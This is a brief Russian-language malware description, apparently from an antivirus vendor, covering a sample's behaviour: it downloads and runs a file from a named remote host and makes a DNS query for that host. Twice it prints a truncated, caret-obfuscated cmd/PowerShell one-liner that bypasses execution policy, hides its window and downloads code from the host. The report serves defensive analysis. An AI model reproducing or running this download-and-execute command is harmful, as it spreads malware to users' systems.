Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^werShel^l^.e^xe -^ex^EC^U^tIO^n^POlicy BY^pAs^s^ ^-^no^Pr^oFIL^e^ ^-^WiN^dowSTY^Le Hid^De^N (n^eW-^obJE^ct S^YStEM^.ne^t.wE^bclie^n^t^)^.D^OWnLOadF^i^le('http://www.doora...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^werShel^l^.e^xe -^ex^EC^U^tIO^n^POlicy BY^pAs^s^ ^-^no^Pr^oFIL^e^ ^-^WiN^dowSTY^Le Hid^De^N (n^eW-^obJE^ct S^YStEM^.ne^t.wE^bclie^n^t^)^.D^OWnLOadF^i^le('http://www.doora...' (со скрытым окном)
